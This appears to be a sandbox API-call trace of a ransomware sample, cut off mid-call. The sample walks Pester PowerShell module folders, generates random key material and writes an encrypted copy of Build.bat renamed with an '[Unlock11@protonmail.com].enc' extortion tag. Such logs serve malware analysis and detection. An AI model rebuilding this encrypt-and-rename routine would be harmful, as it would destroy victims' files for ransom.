returned 0x12 [0231.516] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldExist.snippets.ps1xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldExist.snippets.ps1xml", lpFilePart=0x9bada4*="ShouldExist.snippets.ps1xml") returned 0x62 [0231.516] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0231.516] GetCurrentThreadId () returned 0x9b0 [0231.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0231.516] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0231.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0231.516] GetCurrentThreadId () returned 0x9b0 [0231.516] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldMatch.snippets.ps1xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldMatch.snippets.ps1xml", lpFilePart=0x9bada4*="ShouldMatch.snippets.ps1xml") returned 0x62 [0231.517] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0231.517] GetCurrentThreadId () returned 0x9b0 [0231.517] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldNotBe.snippets.ps1xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldNotBe.snippets.ps1xml", lpFilePart=0x9bada4*="ShouldNotBe.snippets.ps1xml") returned 0x62 [0231.517] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0231.518] GetCurrentThreadId () returned 0x9b0 [0231.518] GetCurrentThreadId () returned 0x9b0 [0231.518] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldNotBeNullOrEmpty.snippets.ps1xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldNotBeNullOrEmpty.snippets.ps1xml", lpFilePart=0x9bada4*="ShouldNotBeNullOrEmpty.snippets.ps1xml") returned 0x6d [0231.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0231.518] GetCurrentThreadId () returned 0x9b0 [0231.518] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldNotContain.snippets.ps1xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldNotContain.snippets.ps1xml", lpFilePart=0x9bada4*="ShouldNotContain.snippets.ps1xml") returned 0x67 [0231.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0231.519] GetCurrentThreadId () returned 0x9b0 [0231.519] GetCurrentThreadId () returned 0x9b0 [0231.519] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldNotExist.snippets.ps1xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldNotExist.snippets.ps1xml", lpFilePart=0x9bada4*="ShouldNotExist.snippets.ps1xml") returned 0x65 [0231.519] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0231.519] GetCurrentThreadId () returned 0x9b0 [0231.519] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldNotMatch.snippets.ps1xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldNotMatch.snippets.ps1xml", lpFilePart=0x9bada4*="ShouldNotMatch.snippets.ps1xml") returned 0x65 [0231.519] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0231.519] GetCurrentThreadId () returned 0x9b0 [0231.520] GetCurrentThreadId () returned 0x9b0 [0231.520] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldNotThrow.snippets.ps1xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldNotThrow.snippets.ps1xml", lpFilePart=0x9bada4*="ShouldNotThrow.snippets.ps1xml") returned 0x65 [0231.520] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0231.520] GetCurrentThreadId () returned 0x9b0 [0231.520] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldThrow.snippets.ps1xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldThrow.snippets.ps1xml", lpFilePart=0x9bada4*="ShouldThrow.snippets.ps1xml") returned 0x62 [0231.520] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0231.520] GetCurrentThreadId () returned 0x9b0 [0231.521] GetCurrentThreadId () returned 0x9b0 [0231.521] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ab4af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7410 [0231.522] GetCurrentThreadId () returned 0x9b0 [0231.522] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ab4af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0231.522] GetCurrentThreadId () returned 0x9b0 [0231.522] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ac43c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="bin", cAlternateFileName="")) returned 1 [0231.523] GetCurrentThreadId () returned 0x9b0 [0231.523] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Build.bat", cAlternateFileName="")) returned 1 [0231.523] GetCurrentThreadId () returned 0x9b0 [0231.523] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1 [0231.523] GetCurrentThreadId () returned 0x9b0 [0231.523] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7a, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="CHANGELOG.md", cAlternateFileName="")) returned 1 [0231.523] GetCurrentThreadId () returned 0x9b0 [0231.524] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13d4, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="chocolateyInstall.ps1", cAlternateFileName="")) returned 1 [0231.524] GetCurrentThreadId () returned 0x9b0 [0231.524] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8aca62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0231.524] GetCurrentThreadId () returned 0x9b0 [0231.524] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8acf9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Examples", cAlternateFileName="")) returned 1 [0231.524] GetCurrentThreadId () returned 0x9b0 [0231.524] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8fc051, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7f2cc1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1 [0231.524] GetCurrentThreadId () returned 0x9b0 [0231.525] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0231.525] GetCurrentThreadId () returned 0x9b0 [0231.525] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16f7, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="nunit_schema_2.5.xsd", cAlternateFileName="")) returned 1 [0231.525] GetCurrentThreadId () returned 0x9b0 [0231.525] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Pester.nuspec", cAlternateFileName="")) returned 1 [0231.525] GetCurrentThreadId () returned 0x9b0 [0231.525] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Pester.psd1", cAlternateFileName="")) returned 1 [0231.526] GetCurrentThreadId () returned 0x9b0 [0231.526] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6956, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Pester.psm1", cAlternateFileName="")) returned 1 [0231.526] GetCurrentThreadId () returned 0x9b0 [0231.526] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b95, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Pester.Tests.ps1", cAlternateFileName="")) returned 1 [0231.526] GetCurrentThreadId () returned 0x9b0 [0231.526] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16ac, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="README.md", cAlternateFileName="")) returned 1 [0231.526] GetCurrentThreadId () returned 0x9b0 [0231.526] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fd9a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a83f191, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Snippets", cAlternateFileName="")) returned 1 [0231.527] GetCurrentThreadId () returned 0x9b0 [0231.527] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fd9a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a83f191, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Snippets", cAlternateFileName="")) returned 0 [0231.527] GetCurrentThreadId () returned 0x9b0 [0231.527] FindClose (in: hFindFile=0x10f7410 | out: hFindFile=0x10f7410) returned 1 [0231.528] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\bin" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\bin")) returned 0x10 [0231.529] GetCurrentThreadId () returned 0x9b0 [0231.529] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Build.bat" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\build.bat")) returned 0x20 [0231.529] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\build.psake.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\build.psake.ps1")) returned 0x20 [0231.529] GetCurrentThreadId () returned 0x9b0 [0231.529] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\CHANGELOG.md" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\changelog.md")) returned 0x20 [0231.530] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\chocolateyInstall.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\chocolateyinstall.ps1")) returned 0x20 [0231.530] GetCurrentThreadId () returned 0x9b0 [0231.531] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us")) returned 0x10 [0231.531] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\examples")) returned 0x10 [0231.545] GetCurrentThreadId () returned 0x9b0 [0231.545] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\functions")) returned 0x10 [0231.546] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\LICENSE" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\license")) returned 0x20 [0231.546] GetCurrentThreadId () returned 0x9b0 [0231.546] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\nunit_schema_2.5.xsd" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\nunit_schema_2.5.xsd")) returned 0x20 [0231.547] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.nuspec" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\pester.nuspec")) returned 0x20 [0231.548] GetCurrentThreadId () returned 0x9b0 [0231.548] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1")) returned 0x20 [0231.549] GetCurrentThreadId () returned 0x9b0 [0231.549] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\pester.psm1")) returned 0x20 [0231.549] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\pester.tests.ps1")) returned 0x20 [0231.549] GetCurrentThreadId () returned 0x9b0 [0231.549] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\README.md" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\readme.md")) returned 0x20 [0231.550] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Snippets" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\snippets")) returned 0x10 [0231.550] GetCurrentThreadId () returned 0x9b0 [0231.550] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Build.bat", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Build.bat", lpFilePart=0x9bada4*="Build.bat") returned 0x47 [0231.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0231.550] GetCurrentThreadId () returned 0x9b0 [0231.550] GetCurrentThreadId () returned 0x9b0 [0231.551] GetCurrentThreadId () returned 0x9b0 [0231.551] GetCurrentThreadId () returned 0x9b0 [0231.551] GetCurrentThreadId () returned 0x9b0 [0231.551] GetCurrentThreadId () returned 0x9b0 [0231.551] GetCurrentThreadId () returned 0x9b0 [0231.551] GetCurrentThreadId () returned 0x9b0 [0231.551] GetCurrentThreadId () returned 0x9b0 [0231.552] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Build.bat" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\build.bat"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e8)) returned 1 [0231.552] GetCurrentThreadId () returned 0x9b0 [0231.552] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674cb4 | out: pbBuffer=0x3674cb4) returned 1 [0231.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0231.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0231.552] GetCurrentThreadId () returned 0x9b0 [0231.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3734138 [0231.553] GetCurrentThreadId () returned 0x9b0 [0231.553] GetCurrentThreadId () returned 0x9b0 [0231.553] GetCurrentThreadId () returned 0x9b0 [0231.553] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Build.bat" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\build.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0231.553] GetFileType (hFile=0x334) returned 0x1 [0231.554] GetCurrentThreadId () returned 0x9b0 [0231.554] GetFileType (hFile=0x334) returned 0x1 [0231.554] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.554] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.554] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.554] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.554] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.554] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.554] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.554] GetCurrentThreadId () returned 0x9b0 [0231.555] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Build.bat.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\build.bat.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0231.555] GetFileType (hFile=0x39c) returned 0x1 [0231.555] GetCurrentThreadId () returned 0x9b0 [0231.555] GetFileType (hFile=0x39c) returned 0x1 [0231.555] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.556] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.556] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.556] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: 